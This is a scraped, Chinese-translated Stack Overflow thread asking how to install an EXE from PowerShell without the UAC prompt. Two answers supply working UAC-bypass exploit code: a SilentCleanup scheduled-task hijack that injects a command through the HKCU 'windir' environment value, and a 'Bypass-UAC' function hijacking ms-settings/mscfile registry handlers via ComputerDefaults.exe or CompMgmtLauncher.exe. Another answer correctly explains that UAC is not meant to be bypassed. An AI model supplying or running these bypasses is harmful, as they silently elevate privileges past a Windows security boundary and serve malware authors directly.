【问题标题】:UAC Getting in the Way of EXE Install PowershellUAC 妨碍 EXE 安装 Powershell
【发布时间】:2018-09-14 20:24:41
【问题描述】:

我正在尝试使用 Powershell 安装 EXE,并使用以下代码 Start-Process -FilePath "C:\Windows\Temp\Installer.exe" -Verb runas 我正在弹出用户帐户控制,上面写着“您要允许以下程序对此计算机进行更改吗?”我宁愿不禁用 UAC。是否有任何方法可以以编程方式对 UAC 提示说“是”或绕过它?

【问题讨论】:

  • 为什么不禁用 UAC,让它安装,然后重新打开 UAC?根据其他设置,您甚至可能需要查看 LowRiskFileTypes 以允许异常完全自动化。
  • 绝对不建议禁用UAC。以正确的方式做事要好得多。

标签: powershell


【解决方案1】:

禁用 UAC 会编辑 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 中的密钥,因此需要对 HKLM 的写入权限。换句话说,禁用 UAC 需要管理员权限,这违背了您的问题的重点。

Windows 有一个built-in AutoElevate backdoor。您可以使用它来启动其他可执行文件。

  1. 一个明显的方法是Task Scheduler。但是,这不是唯一的方法。
  2. 同样,任何可以auto-elevate 的Windows 可执行文件都可用于在没有UAC 的情况下生成高完整性进程。
  3. 这可以在下面以编程方式完成:

AlwaysNotify:(8.1 及之后)

$regPath = "HKCU:\Environment"
$installer = "C:\Windows\Temp\Installer.exe" # change it yourself

Set-ItemProperty -Path $regPath -Name "windir" -Value "$installer && REM " -Force
schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I
Start-Sleep -s 5 # Depending on the machine, some extra time may be required
Remove-ItemProperty -Path $regPath -Name "windir" -Force

默认值:

function Bypass-UAC{
    [CmdletBinding()]
    param([string]$key, [string]$exploit)
    $regPath = "HKCU:\Software\Classes\$key\shell\open\command"
    $installer = "C:\Windows\Temp\Installer.exe" # change it yourself

    New-Item $regPath -Force
    New-ItemProperty $regPath -Name "DelegateExecute" -Value $null -Force
    Set-ItemProperty $regPath -Name "(default)" -Value $installer -Force
    Start-Process $exploit
    Start-Sleep -s 5 # Depending on the machine, some extra time may be required
    Remove-Item $regPath -Force -Recurse
}

$ver = [System.Environment]::OSVersion.Version.Major #Get Windows Version

if ($ver -eq 10) {
    Bypass-UAC ms-settings ComputerDefaults.exe
} else {
    Bypass-UAC mscfile CompMgmtLauncher.exe
}

从不通知/禁用:

Start-Process "C:\Windows\Temp\Installer.exe" -Verb runas

【讨论】:

【解决方案2】:

您正在使用 runas,因此会强制提示提供凭据以继续。

Sooo,就是这样,或者你是说,无论脚本在哪里运行,用户已经以管理员身份登录?如果是这样,为什么还要提升?

最终就像 Backin 指出的那样:

# Check UACState
(Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).EnableLUA 

虽然 MS 和许多其他人不建议禁用 UAC,但我们知道人们无论如何都会这样做,无论出于何种原因,他们都可以证明它是合理的。

资源:

elevate without prompt - verb runas start-process

https://superuser.com/questions/195689/how-to-start-process-without-uac

https://gallery.technet.microsoft.com/scriptcenter/How-to-easily-run-an-0c0eb47a

【讨论】:

    【解决方案3】:

    直接回答你的问题:

    是否有任何方法可以以编程方式对 UAC 提示说“是”或绕过它?

    ...是“不”。原因是这将是一个巨大的安全漏洞。想象一下,如果这是可能的:所有恶意软件所要做的就是使用这种绕过技术。

    UAC 专门设计用于防止您按照您的要求行事。虽然可以禁用 UAC,但绝对不推荐

    Aaron Margosis(微软)不久前写了一篇关于此的博客文章:

    FAQ: Why can't I bypass the UAC prompt?

    来自该博客的引述:

    如果可以将应用程序标记为以静默提升的权限运行,那么那些存在 LUA [受限用户访问] 错误的应用程序会变成什么?答:它们都会被标记为静默提升。未来的 Windows 软件将如何编写?答:默默提升。没有人会真正修复他们的应用程序,最终用户应用程序将继续要求并在不必要的情况下以完全管理权限运行。

    【讨论】:

    【解决方案4】:

    我使用ps2exe 从 .ps1 脚本生成我的 .exe。使用HaxAddict1337 的默认代码导致我的 .exe 运行但立即关闭。

    Start-Process 之前添加Start-Sleep -s 10 后,我让它工作了:

    #this is used to run an .exe as Administrator without the "Are you sure?" UAC prompt
    
    function Bypass-UAC{
        [CmdletBinding()]
        param([string]$key, [string]$exploit)
        $regPath = "HKCU:\Software\Classes\$key\shell\open\command"
        $installer = "C:\Windows\Temp\myProgram.exe" # change it yourself
    
        New-Item $regPath -Force
        New-ItemProperty $regPath -Name "DelegateExecute" -Value $null -Force
        Set-ItemProperty $regPath -Name "(default)" -Value $installer -Force
        Start-Sleep -s 10 #if it's not working, try increasing these values
        Start-Process $exploit
        Start-Sleep -s 5 #if it's not working, try increasing these values
        Remove-Item $regPath -Force -Recurse
    }
    
    $ver = [System.Environment]::OSVersion.Version.Major #Get Windows Version
    
    if ($ver -eq 10) {
        Bypass-UAC ms-settings ComputerDefaults.exe
    } else {
        Bypass-UAC mscfile CompMgmtLauncher.exe
    }
    

    【讨论】:

      猜你喜欢
      • 2014-11-17
      • 2021-09-11
      • 2019-02-19
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2015-10-21
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多